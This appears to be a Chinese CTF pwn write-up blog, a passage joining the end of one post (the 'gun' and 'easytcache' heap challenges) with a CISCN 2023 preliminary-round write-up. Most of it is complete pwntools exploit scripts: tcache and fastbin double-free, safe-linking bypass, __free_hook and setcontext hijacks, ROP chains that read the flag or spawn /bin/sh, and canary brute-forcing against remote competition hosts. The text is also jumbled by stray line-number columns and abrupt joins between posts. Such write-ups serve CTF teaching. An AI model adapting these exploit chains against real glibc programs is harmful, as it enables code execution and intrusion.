31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#!/usr/bin/env python3
from pwn import*
context(arch='x86_64',log_level='debug')

io = process('./gun')
elf = ELF('./gun')
libc = ELF('./libc-2.31.so')

def DEBUG():
    attach(io, 'set resolve-heap-via-heuristic on')
    pause()

def menu(choice):
    io.recvuntil(b'Action> ')
    io.sendline(str(choice).encode())

def shoot(num):
    menu(1)
    io.recvuntil(b'Shoot time: ')
    io.sendline(str(num).encode())

def load(num):
    menu(2)
    io.recvuntil(b'Which one do you want to load?')
    io.sendline(str(num).encode())

def buy(price, name):
    menu(3)
    io.recvuntil(b'Bullet price: ')
    io.sendline(str(price).encode())
    io.recvuntil(b'Bullet Name: ')
    io.sendline(name)

io.recvuntil(b'Your name: ')
io.sendline(b'Static')

'''
gun共分为3个变量：
分别是：chunk位
        next_gun位
        sign位（其中next_gun位在shoot后不会及时清0,因此会造成UAF）
'''
#共有13个位置
#填满tcache,并构造泄露libc
for i in range(9):
    buy(0x80, b'A')
for i in range(0,6):
    load(i)
shoot(6)

load(7)
load(6)
shoot(2)        #7 进入unsortedbin
for i in range(7):
    buy(0x80, b'A') #0 1 2 3 4 5 6
load(6)
shoot(2)        #由于6的next_gun位未清0,因此直接二连发泄露libc

io.recvline()
io.recvuntil(b'Pwn! The ')
libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0x1ebbe0
log.success('libcbase ===> '+hex(libcbase))
__free_hook = libcbase+libc.symbols['__free_hook']
log.success('__free_hook ===> '+hex(__free_hook))
setcontext = libcbase+libc.symbols['setcontext']+61

#修复unsorted bin然后fastbin double-free打__free_hook
buy(0x80, p64(libcbase+0x1ebbe0)*2) #6
load(6)
buy(0x60, b'A') #8
load(7)                 #此时6 7均为0x60块,且6 7为同一堆块

for i in range(6):      #0 1 2 3 4 5为0x60
    load(i)
    shoot(1)
io.recvuntil(b'Pwn! The ')
heapbase = u64(io.recv(6).ljust(8, b'\x00'))-0x541
log.success('heapbase ===> '+hex(heapbase))
load(8)
shoot(1)

for i in range(8):      #填满0x60的tcache, 0 1 2 3 4 5 8 9
    buy(0x60, b'A')
for i in range(6):
    load(i)
    shoot(1)
load(8)
shoot(1)

#fastbin double-free
shoot(1)
load(9)
shoot(1)
shoot(1)

pop_rdi = libcbase+0x26b72
pop_rsi = libcbase+0x27529
pop_rdx_r12 = libcbase+0x11c1e1
ret = pop_rdi+1
open_ = libcbase+libc.symbols['open']
read_ = libcbase+libc.symbols['read']
puts = libcbase+libc.symbols['puts']
pop_r12_r14 = libcbase+0x913b0
#mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]   0x1547a0
#修改fd
flag = heapbase+0x2a0
rop_chain_1 = p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flag)+p64(pop_rdx_r12)+p64(0x50)+p64(0)+p64(read_)+p64(pop_rdi)+p64(flag)+p64(ret)+p64(pop_r12_r14)
rop_chain_2 = p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)*2+p64(open_)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag)+p64(ret)+p64(pop_r12_r14)
rop_chain_3 = p64(pop_rdx_r12)+p64(0x50)+p64(0)+p64(read_)+p64(pop_rdi)+p64(flag)+p64(puts)
rsp = heapbase+0x7a0
rcx = ret
buy(0x60, b'B'*8)
load(0)
buy(0x60, b'C'*8)
load(1)
buy(0x60, b'D'*8)
load(2)
buy(0x60, rop_chain_3)
load(3)
buy(0x60, rop_chain_2)
load(4)
buy(0x60, rop_chain_1)
load(5)
buy(0x60, b'H'*0x28+p64(rsp)+p64(rcx))
load(6)

buy(0x60, p64(__free_hook)) #7

content = b'A'*8+p64(heapbase+0x6b8)+b'A'*8+p64(setcontext)
buy(0x60, b'C'*8) #8
buy(0x60, content) #9
buy(0x60, p64(libcbase+0x1547a0))   #10     此时剩余可分配大小已被分配完

load(9)
shoot(9)

io.send(b'./flag\x00')
#DEBUG()

io.interactive()
0x03.minilctf - easytcache( safe-linking绕过+tcache_struct劫持+ROP )
checksec看到保护全开，seccomp-tools看到只能orw，程序为libc-2.33
IDA打开看到是个c++程序，一个菜单题，可以add 5次，free 3次，注意delete函数中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
v7 = freeinfo[index];
freeinfo[index] ^= 1u;                        // free两次就可以重新获得且第二次不会执行free
if ( v7 )                                     // double-free检测没用
{
  v4 = std::operator<<<std::char_traits<char>>(
         &std::cout,
         "Double free detected! You can't delete a note more than once!");
}
else
{
  sub_28D0(&unk_8240);
  sub_28D0(a1);
  sub_32FC(&unk_8260, index);
  v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Done!");
}
显然double-free检测没用，free后再次free就可以重置标志位（此时只算作一次free），相当于UAF
则解题步骤为：
先add一个chunk_0（要注意chunk应该尽量大），然后free两次进入tcache，由于safe-linking机制，直接show可以得到堆地址。再free两次使对应tcache_count=2。此时再修改fd位，使指向tcache_struct结构体，然后申请chunk_1，chunk_2，chunk_2即为tcache_struct位置。
edit修改tcache_struct结构体，将对应位置的count修改为7，然后free两次chunk_0，show出libc地址。此时只剩下两次add。
再edit chunk_2使某指针指向_environ变量，add出来然后show得到栈地址。得到栈地址后修改tcache_struct中任意指针为指定栈地址布置rop_chain，直接orw
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

io = process('./easytcache')
elf = ELF('./easytcache')
libc = ELF('./libc.so.6')

def DEBUG():
    attach(io)
    pause()

def menu(choice):
    io.recvuntil(b'Your choice: ')
    io.send(str(choice).encode())

def add(size):
    menu(1)
    io.recvuntil(b'size?')
    io.send(str(size).encode())

def edit(index, content):
    menu(2)
    io.recvuntil(b'index?')
    io.send(str(index).encode())
    io.recvuntil(b'content?')
    io.send(content)

def show(index):
    menu(3)
    io.recvuntil(b'index?')
    io.send(str(index).encode())

def delete(index):
    menu(4)
    io.recvuntil(b'index?')
    io.sendline(str(index).encode())

#可add 5个堆块，free 3次
add(0x200)       #0
delete(0)
delete(0)
show(0)

io.recvuntil(b'content: ')
heapbase = (u64(io.recv(5).ljust(8, b'\x00'))-0x11)<<12
log.success('heapbase ===> '+hex(heapbase))

edit(0, p64(0)*2)   #清除key域
delete(0)
delete(0)
pos = heapbase+0x11000
edit(0, p64((heapbase+0x10)^(pos>>12)))   #修改fd域为tcache结构体

add(0x200)       #1
add(0x200)       #2      控制tcache结构体

edit(2, p16(0)*0x1f+p16(7)*9)
delete(2)        #泄露libc
delete(2)
edit(2, b'\x01')
show(2)

io.recvuntil(b'content: ')
libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0x1e0c01
log.success('libcbase ===> '+hex(libcbase))

#后续利用_environ泄露栈地址，直接在栈上ROP即可
environ = libcbase+libc.symbols['_environ']
edit(2, p16(7)*0x40+p64(0)*0x1f+p64(environ))       #修改0x210处指针为目标位置
add(0x200)      #3
show(3)
io.recvuntil(b'content: ')
stack = u64(io.recv(6).ljust(8,b'\x00'))-0x150
log.success('stack ===> '+hex(stack))

pop_rdi = libcbase+0x28a55
pop_rsi = libcbase+0x2a4cf
pop_rdx = libcbase+0xc7f32
open_ = libcbase+libc.symbols['open']
read_ = libcbase+libc.symbols['read']
puts = libcbase+libc.symbols['puts']
bss = libcbase+0x1e2000
#修改栈
edit(2, p16(7)*0x40+p64(0)*0x1f+p64(stack-0x18))       #stack-0x18是因为此处未对齐,还有不能影响程序的正常执行(stack-8会产生异常)
add(0x200)      #4
rop_chain = p64(0)*3+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x10)+p64(read_)\
           +p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_)\
           +p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x50)+p64(read_)\
           +p64(pop_rdi)+p64(bss)+p64(puts)
edit(4, rop_chain)
io.recvline()
io.send(b'./flag')

#DEBUG()

io.interactive()



CISCN 2023 初赛pwn部分wp & 复现
2024-04-06T14:10:00.000Z
前言
第一次打国赛，题目基本大部分都是见过的类型吧，可是还是再多看一眼就会爆炸，烧烤摊儿和funcanary基本可以秒，还有一道加了点protobuf的堆orw比赛时没出，因为时间不够了，有点慌，打__free_hook的时候链表伪造成了一坨，然后就是扣了所有符号表的静态链接go题（正好被go贼多的函数恶心到了，但是Wings✌直接调出来了，直接膜拜），貌似是我的IDA没装好，装的插件都用不了，赛后换了个IDA使用finger直接可以还原出来一部分函数名。最后盲pwn用侧信道没想到，还有个PDC 0解，根本没看，这两道完全不能理解，爬了。
0x00. 烧烤摊儿
静态链接程序，先整形溢出，然后在改名选项中存在栈溢出，直接ROP getshell
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

io = remote('39.107.137.13',20469)
#io = process('./shaokao')
elf = ELF('./shaokao')

def DEBUG():
    attach(io)
    pause()

def menu(choice):
    io.recvuntil(b'> ')
    io.sendline(str(choice).encode())

syscall = 0x402404
pop_rdi = 0x40264f
pop_rsi = 0x40a67e
pop_rax = 0x458827
pop_rdx_rbx = 0x4a404b

#整形溢出
menu(1)
io.sendline(b'1')
io.sendline(b'-999999999')
menu(4)

#栈溢出
menu(5)
payload = b'/bin/sh\x00'+b'A'*0x20+p64(pop_rax)+p64(59)+p64(pop_rdi)+p64(0x4e60f0)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbx)+p64(0)+p64(0)+p64(syscall)
io.sendline(payload)

io.interactive()
0x01. funcanary
多线程爆破canary，然后还需要partial overwrite小爆破一手
打远程太慢了
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
from pwn import*
#from Crypto.Util.number import long_to_bytes
context.log_level = 'debug'

io = remote('47.94.206.10', 24045)
#io = process('./funcanary')
elf = ELF('./funcanary')

def DEBUG():
    attach(io)
    pause()
def rec():
    io.recvuntil(b'welcome\n')

i = 0
canary = b'\x00'
for j in range(1, 8):
    i = 0
    for i in range(0xff):
        rec()
        io.send(b'A'*0x68+canary+p8(i))
        msg = io.recvline()
        if b'stack' in msg:
            print("error")
            print(j, i, canary)
        else:
            canary += p8(i)
            print(j, i, canary)
            break

i = 0
for i in range(0x10):
    rec()
    io.send(b'A'*0x68+canary+b'A'*8+b'\x31'+p8(2+0x10*i))
0x02. StrangeTalkBot
这道题要想和程序交互，必须用它对应的格式，至于格式是啥，这道题把所有判断格式的逻辑一起塞在了一个函数里面了
1
2
3
4
5
6
7
8
9
10
11
12
  while ( 1 )
  {
    memset(&input, 0, 0x400uLL);
    puts("You can try to have friendly communication with me now: ");
    input_len = read(0, &input, 0x400uLL);
    v4 = (_QWORD *)sub_192D(0LL, input_len, &input);
    if ( !v4 )
      break;
    sub_155D(v4[3], v4[4], v4[5], v4[6], v4[7]);
  }
  sub_1329(0LL, input_len);
}
也就是sub_192D函数中，在sub_155D中是堆菜单
当时看到"BINARYBF-c/BINARYBF-c.c"时以为还有brainfuck，但是我复制了一部分伪代码给bing看的时候，它说这段代码使用了protobuf，而且Wings也说是用了protobuf，然后就去装库了，装了好长时间，最后网上找了个在线工具可以直接根据格式给出对应序列化后的值，https://yura415.github.io/js-protobuf-encode-decode/                例如：
1
2
3
4
5
6
{
"actionid": 1,
"msgidx":2,
"msgsize":3,
"msgcontent":">>>>>>>>"
}
1
2
3
4
5
6
7
message Devicemsg
{
    required sint32 actionid;
    required sint32 msgidx;
    required sint32 msgsize;
    required string msgcontent;
}
然后要做的就是堆orw了，在free时存在UAF，size不能大于0xf0，index不能大于0x20
可以直接unsorted bin泄露libc，然后tcache poison打__free_hook为一个特殊gadget
1
0x0000000000151990 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
在堆块上对应位置构造setcontext+61和ROP链就可以orw了（可以用工具构造，不过我比较习惯调试+手动）
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3
from pwn import*
context(arch='x86_64', log_level='debug')

io = process('./talkbot')
elf = ELF('./talkbot')
libc = ELF('./libc-2.31.so')

def DEBUG():
    attach(io)
    pause()

def rec():
    io.recvuntil(b'You can try to have friendly communication with me now: \n')

#泄露libc
rec()
io.send(b'\x08\x02\x10\x00\x18\xe0\x03\x22\x01\x41')    #add(0, 0xf0, b'A')
rec()
io.send(b'\x08\x02\x10\x02\x18\xe0\x03\x22\x01\x41')    #add(1, 0xf0, b'A')
rec()
io.send(b'\x08\x02\x10\x04\x18\xe0\x03\x22\x01\x41')    #add(2, 0xf0, b'A')
rec()
io.send(b'\x08\x02\x10\x06\x18\xe0\x03\x22\x01\x41')    #add(3, 0xf0, b'A')
rec()
io.send(b'\x08\x02\x10\x08\x18\xe0\x03\x22\x01\x41')    #add(4, 0xf0, b'A')
rec()
io.send(b'\x08\x02\x10\x0a\x18\xe0\x03\x22\x01\x41')    #add(5, 0xf0, b'A')
rec()
io.send(b'\x08\x02\x10\x0c\x18\xe0\x03\x22\x01\x41')    #add(6, 0xf0, b'A')
rec()
io.send(b'\x08\x02\x10\x0e\x18\xe0\x03\x22\x01\x41')    #add(7, 0xf0, b'A')
rec()
io.send(b'\x08\x02\x10\x10\x18\x20\x22\x01\x41')        #add(8, 16, b'A')
rec()
io.send(b'\x08\x08\x10\x00\x18\xC0\x02\x22\x01\x41')    #free(0)
rec()
io.send(b'\x08\x08\x10\x02\x18\xC0\x02\x22\x01\x41')    #free(1)
rec()
io.send(b'\x08\x08\x10\x04\x18\xC0\x02\x22\x01\x41')    #free(2)
rec()
io.send(b'\x08\x08\x10\x06\x18\xC0\x02\x22\x01\x41')    #free(3)
rec()
io.send(b'\x08\x08\x10\x08\x18\xC0\x02\x22\x01\x41')    #free(4)
rec()
io.send(b'\x08\x08\x10\x0a\x18\xC0\x02\x22\x01\x41')    #free(5)
rec()
io.send(b'\x08\x08\x10\x0c\x18\xC0\x02\x22\x01\x41')    #free(6)
rec()
io.send(b'\x08\x08\x10\x0e\x18\xC0\x02\x22\x01\x41')    #free(7)
rec()
io.send(b'\x08\x06\x10\x0e\x18\x00\x22\x01\x41')        #show(7)

io.recv(0x70)
libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0x1ecbe0
log.success('libcbase ===> '+hex(libcbase))
__free_hook = libcbase + libc.symbols['__free_hook']
setcontext = libcbase + libc.symbols['setcontext']+61

rec()
io.send(b'\x08\x06\x10\x02\x18\x00\x22\x01\x41')        #show(1)

heapbase = u64(io.recv(6).ljust(8, b'\x00'))-0x310
log.success('heapbase ===> '+hex(heapbase))
rsp = heapbase+0x760

ret = libcbase+0x23b6b
rec()
io.send(b'\x08\x04\x10\x04\x18\xe0\x03\x22\xf0\x01'+(p64(heapbase+0x5f0)+p64(heapbase+0x5f0)+p64(0)*2+p64(setcontext)+p64(0)*15+p64(rsp)+p64(ret)).ljust(0xf0, b'A'))   #edit(2, p64(heapbase+0x5f0)+p64(heapbase+0x5f0)+p64(0)*2+p64(setcontext+61)+p64(0)*15+p64(rsp))     0x5f0

#0x0000000000151990 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget = libcbase+0x151990

rec()
io.send(b'\x08\x04\x10\x0a\x18\x10\x22\x10'+p64(__free_hook)+p64(0)) #edit(1, __free_hook)

open_ = libcbase+libc.symbols['open']
read_ = libcbase+libc.symbols['read']
puts = libcbase+libc.symbols['puts']
pop_rdi = libcbase+0x23b6a
pop_rsi = libcbase+0x2601f
pop_rdx = libcbase+0x142c92
flag = heapbase+0x848
#布置ROP
rec()

io.send(b'\x08\x04\x10\x06\x18\xe0\x03\x22\xf0\x01'\
        +p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_)\
        +p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag)+p64(pop_rdx)+p64(0x50)+p64(read_)\
        +p64(pop_rdi)+p64(flag)+p64(puts)+p64(0)*12+b'flag'+p32(0))\
        #edit(3, p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag)+p64(pop_rdx)+p64(0x50)+p64(read_)+p64(pop_rdi)+p64(flag)+p64(puts)+p64(0)*12+b'flag\x00')


rec()
io.send(b'\x08\x02\x10\x14\x18\xe0\x03\x22\x08'+p64(gadget))    #add(10, 0xf0, b'A')

'''
   0x00007fafa4536f5d <+61>:mov    rsp,QWORD PTR [rdx+0xa0]
   0x00007fafa4536f64 <+68>:mov    rbx,QWORD PTR [rdx+0x80]
   0x00007fafa4536f6b <+75>:mov    rbp,QWORD PTR [rdx+0x78]
   0x00007fafa4536f6f <+79>:mov    r12,QWORD PTR [rdx+0x48]
   0x00007fafa4536f73 <+83>:mov    r13,QWORD PTR [rdx+0x50]
   0x00007fafa4536f77 <+87>:mov    r14,QWORD PTR [rdx+0x58]
   0x00007fafa4536f7b <+91>:mov    r15,QWORD PTR [rdx+0x60]
'''
DEBUG()
rec()
io.send(b'\x08\x08\x10\x04\x18\x10\x22\x00')   #free(2)

#DEBUG()

io.interactive()
0x03. Shell we go
一个扣掉所有符号的静态链接go程序（不用finger修复一下函数符号是真的一坨）
直接看程序连main函数都找不到，先运行下，根据ciscnshell跳转到一个最可能是main函数的地方
main函数基本就如下几步：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
while ( 1 )
{
  print_str();
  input = get_input(1LL, 1LL);
  if ( v9 )
  {
    exec();
  }
  v10 = sub_4C1900();
  if ( v10 )
  {
    exec();
  }
}
  
在调试时发现程序会进入sub_4c1900函数中，该函数中似乎有一部分无法正确反编译，因此需要看汇编
我们的目的是通过cert，因此使用cert查找字符串，找到了一个有趣的字符串Cert complete, you can explore more
通过引用找到了一个函数，很显然这个函数就是我们要到达的验证成功的地方，该函数为
1
2
3
4
5
6
7
8
9
10
qmemcpy(v9, "F1nallB1rd3K3y", 14);
crypto_rc4_NewCipher();
crypto_rc4__Cipher_XORKeyStream();
v7 = v10;
result = (_QWORD *)local_encoding_base64__Encoding_EncodeToString();
if ( !qword_5D1128 && v7 == 16 && *result == 'Sbp8XILJ' && result[1] == 'GaW/uZYv' )
{
  result = (_QWORD *)fmt_Fprintf();
  qword_5D1128 = 1LL;
}
可以看到使用了rc4加密，加密后还进行了base64编码，通过交叉引用找到了sub_4c1900引用该函数的地方
我们需要通过如下判断
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
.text:00000000004C19CD 48 8D 0D A4 78 04 00          lea     rcx, unk_509278
.text:00000000004C19D4 BF 01 00 00 00                mov     edi, 1
.text:00000000004C19D9 31 F6                         xor     esi, esi
.text:00000000004C19DB 49 C7 C0 FF FF FF FF          mov     r8, 0FFFFFFFFFFFFFFFFh
.text:00000000004C19E2 E8 D9 CB FA FF                call    strings_genSplit
.text:00000000004C19E2
.text:00000000004C19E7 48 83 3D 39 F7 10 00 00       cmp     cs:qword_5D1128, 0
.text:00000000004C19EF 75 33                         jnz     short loc_4C1A24
.text:00000000004C19EF
.text:00000000004C19F1 48 85 DB                      test    rbx, rbx
.text:00000000004C19F4 0F 86 2B 03 00 00             jbe     loc_4C1D25
.text:00000000004C19F4
.text:00000000004C19FA 48 8B 10                      mov     rdx, [rax]
.text:00000000004C19FD 48 83 78 08 04                cmp     qword ptr [rax+8], 4
.text:00000000004C1A02 75 08                         jnz     short loc_4C1A0C
.text:00000000004C1A02
.text:00000000004C1A04 81 3A 63 65 72 74             cmp     dword ptr [rdx], 'trec'
.text:00000000004C1A0A 74 18                         jz      short loc_4C1A24
...
.text:00000000004C1A24                               loc_4C1A24:                   ; CODE XREF: sub_4C1900+EF↑j
.text:00000000004C1A24                                                             ; sub_4C1900+10A↑j
.text:00000000004C1A24 48 85 DB                      test    rbx, rbx
.text:00000000004C1A27 0F 86 EE 02 00 00             jbe     loc_4C1D1B
.text:00000000004C1A27
.text:00000000004C1A2D 48 8B 10                      mov     rdx, [rax]
.text:00000000004C1A30 4C 8B 40 08                   mov     r8, [rax+8]
.text:00000000004C1A34 49 83 F8 03                   cmp     r8, 3
.text:00000000004C1A38 0F 8F 8B 01 00 00             jg      loc_4C1BC9
...
.text:00000000004C1BC9                               loc_4C1BC9:                   ; CODE XREF: sub_4C1900+138↑j
.text:00000000004C1BC9 49 83 F8 04                   cmp     r8, 4
.text:00000000004C1BCD 0F 85 B3 00 00 00             jnz     loc_4C1C86
.text:00000000004C1BCD
.text:00000000004C1BD3 81 3A 63 65 72 74             cmp     dword ptr [rdx], 'trec'
.text:00000000004C1BD9 75 7E                         jnz     short loc_4C1C59
.text:00000000004C1BD9
.text:00000000004C1BDB 0F 1F 44 00 00                nop     dword ptr [rax+rax+00h]
.text:00000000004C1BE0 48 83 FB 03                   cmp     rbx, 3
.text:00000000004C1BE4 75 5B                         jnz     short loc_4C1C41
.text:00000000004C1BE4
.text:00000000004C1BE6 48 8B 48 10                   mov     rcx, [rax+10h]
.text:00000000004C1BEA 48 83 78 18 09                cmp     qword ptr [rax+18h], 9
.text:00000000004C1BEF 75 1A                         jnz     short loc_4C1C0B
.text:00000000004C1BEF
.text:00000000004C1BF1 48 BA 6E 41 63 44 73 4D 69 63 mov     rdx, 'ciMsDcAn'
.text:00000000004C1BFB 0F 1F 44 00 00                nop     dword ptr [rax+rax+00h]
.text:00000000004C1C00 48 39 11                      cmp     [rcx], rdx
.text:00000000004C1C03 75 06                         jnz     short loc_4C1C0B
.text:00000000004C1C03
.text:00000000004C1C05 80 79 08 4E                   cmp     byte ptr [rcx+8], 4Eh ; 'N'
.text:00000000004C1C09 74 18                         jz      short loc_4C1C23
...
.text:00000000004C1C23                               loc_4C1C23:                   ; CODE XREF: sub_4C1900+309↑j
.text:00000000004C1C23 48 8B 48 20                   mov     rcx, [rax+20h]
.text:00000000004C1C27 48 8B 58 28                   mov     rbx, [rax+28h]
.text:00000000004C1C2B 48 89 C8                      mov     rax, rcx
.text:00000000004C1C2E E8 6D F8 FF FF                call    previl_judge
可以看到程序会先分割我们输入的字符串，然后比较第一个字符串是否为cert，比较第二个字符串是否为nAcDsMicN，然后进入之后的判断函数
在判断函数中，会使用F1nallB1rd3K3y当作key来对我们输入的第三个参数进行加密，并进行base64编码，然后和正确值比较，成功则给予权限
解密JLIX8pbSvYZu/WaG后获得S33UAga1n@#!，因此我们需要输入cert nAcDsMicN S33UAga1n@#!来进行验证，之后就可以正常交互了。
可用的命令为ls，echo，cat，whoami，exit，cd，相关汇编代码如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
cd:
.text:00000000004C1A4A 66 81 3A 63 64                cmp     word ptr [rdx], 'dc'
.text:00000000004C1A4F 75 38                         jnz     short loc_4C1A89
.text:00000000004C1A4F
.text:00000000004C1A51 48 83 FB 02                   cmp     rbx, 2
.text:00000000004C1A55 7D 18                         jge     short loc_4C1A6F
...
.text:00000000004C1A6F 48 8B 48 10                   mov     rcx, [rax+10h]
.text:00000000004C1A73 48 8B 58 18                   mov     rbx, [rax+18h]
.text:00000000004C1A77 48 89 C8                      mov     rax, rcx
.text:00000000004C1A7A E8 01 53 FD FF                call    os_Chdir

ls:
.text:00000000004C1A89 66 81 3A 6C 73                cmp     word ptr [rdx], 'sl'
.text:00000000004C1A8E 0F 85 54 02 00 00             jnz     loc_4C1CE8
.text:00000000004C1A8E
.text:00000000004C1A94 44 0F 11 7C 24 60             movups  [rsp+78h+var_18], xmm15
.text:00000000004C1A9A 48 8D 15 FD 34 02 00          lea     rdx, aAl              ; "-al"
.text:00000000004C1AA1 48 89 54 24 60                mov     qword ptr [rsp+78h+var_18], rdx
.text:00000000004C1AA6 48 C7 44 24 68 03 00 00 00    mov     qword ptr [rsp+78h+var_18+8], 3
.text:00000000004C1AAF 48 8D 05 B5 34 02 00          lea     rax, aLs              ; "ls"
.text:00000000004C1AB6 BB 02 00 00 00                mov     ebx, 2
.text:00000000004C1ABB 48 8D 4C 24 60                lea     rcx, [rsp+78h+var_18]
.text:00000000004C1AC0 BF 01 00 00 00                mov     edi, 1
.text:00000000004C1AC5 48 89 FE                      mov     rsi, rdi
.text:00000000004C1AC8 E8 53 21 FE FF                call    sub_4A3C20

cat:
.text:00000000004C1B33 66 81 3A 63 61                cmp     word ptr [rdx], 'ac'
.text:00000000004C1B38 0F 85 AA 01 00 00             jnz     loc_4C1CE8
.text:00000000004C1B38
.text:00000000004C1B3E 80 7A 02 74                   cmp     byte ptr [rdx+2], 74h ; 't'
.text:00000000004C1B42 0F 85 A0 01 00 00             jnz     loc_4C1CE8
.text:00000000004C1B42
.text:00000000004C1B48 48 83 FB 01                   cmp     rbx, 1
.text:00000000004C1B4C 0F 86 BC 01 00 00             jbe     loc_4C1D0E
.text:00000000004C1B4C
.text:00000000004C1B52 48 8B 50 10                   mov     rdx, [rax+10h]
.text:00000000004C1B56 48 83 78 18 04                cmp     qword ptr [rax+18h], 4
.text:00000000004C1B5B 75 08                         jnz     short loc_4C1B65
.text:00000000004C1B5B
.text:00000000004C1B5D 81 3A 66 6C 61 67             cmp     dword ptr [rdx], 'galf'
.text:00000000004C1B63 74 18                         jz      short loc_4C1B7D
...
.text:00000000004C1B7D                               loc_4C1B7D:                   ; CODE XREF: sub_4C1900+263↑j
.text:00000000004C1B7D 44 0F 11 7C 24 40             movups  [rsp+78h+var_38], xmm15
.text:00000000004C1B83 48 8D 15 56 B7 00 00          lea     rdx, unk_4CD2E0
.text:00000000004C1B8A 48 89 54 24 40                mov     qword ptr [rsp+78h+var_38], rdx
.text:00000000004C1B8F 48 8D 15 1A 78 04 00          lea     rdx, off_5093B0       ; "flag{Tm93YXkuWW91IFRydXN0IE1lIFRoaXMgVG"...
.text:00000000004C1B96 48 89 54 24 48                mov     qword ptr [rsp+78h+var_38+8], rdx
.text:00000000004C1B9B 48 8B 1D 86 10 0E 00          mov     rbx, cs:qword_5A2C28
.text:00000000004C1BA2 48 8D 05 AF 7D 04 00          lea     rax, off_509958
.text:00000000004C1BA9 48 8D 4C 24 40                lea     rcx, [rsp+78h+var_38]
.text:00000000004C1BAE BF 01 00 00 00                mov     edi, 1
.text:00000000004C1BB3 48 89 FE                      mov     rsi, rdi
.text:00000000004C1BB6 E8 25 96 FD FF                call    print_str

echo:
.text:00000000004C1C59 81 3A 65 63 68 6F             cmp     dword ptr [rdx], 'ohce'
.text:00000000004C1C5F 90                            nop
.text:00000000004C1C60 74 11                         jz      short loc_4C1C73
...
.text:00000000004C1C73                               loc_4C1C73:                   ; CODE XREF: sub_4C1900+360↑j
.text:00000000004C1C73 E8 A8 FA FF FF                call    sub_4C1720

exit:
.text:00000000004C1C62 81 3A 65 78 69 74             cmp     dword ptr [rdx], 'tixe'
.text:00000000004C1C68 75 7E                         jnz     short loc_4C1CE8
.text:00000000004C1C68
.text:00000000004C1C6A 31 C0                         xor     eax, eax
.text:00000000004C1C6C E8 AF 5D FD FF                call    sub_497A20

whoami:
.text:00000000004C1C8C 81 3A 77 68 6F 61             cmp     dword ptr [rdx], 'aohw'
.text:00000000004C1C92 75 54                         jnz     short loc_4C1CE8
.text:00000000004C1C92
.text:00000000004C1C94 66 81 7A 04 6D 69             cmp     word ptr [rdx+4], 'im'
.text:00000000004C1C9A 75 4C                         jnz     short loc_4C1CE8
.text:00000000004C1C9A
.text:00000000004C1C9C 44 0F 11 7C 24 50             movups  [rsp+78h+var_28], xmm15
.text:00000000004C1CA2 48 8D 15 37 B6 00 00          lea     rdx, unk_4CD2E0
.text:00000000004C1CA9 48 89 54 24 50                mov     qword ptr [rsp+78h+var_28], rdx
.text:00000000004C1CAE 48 8D 15 EB 76 04 00          lea     rdx, off_5093A0       ; "nightingale"
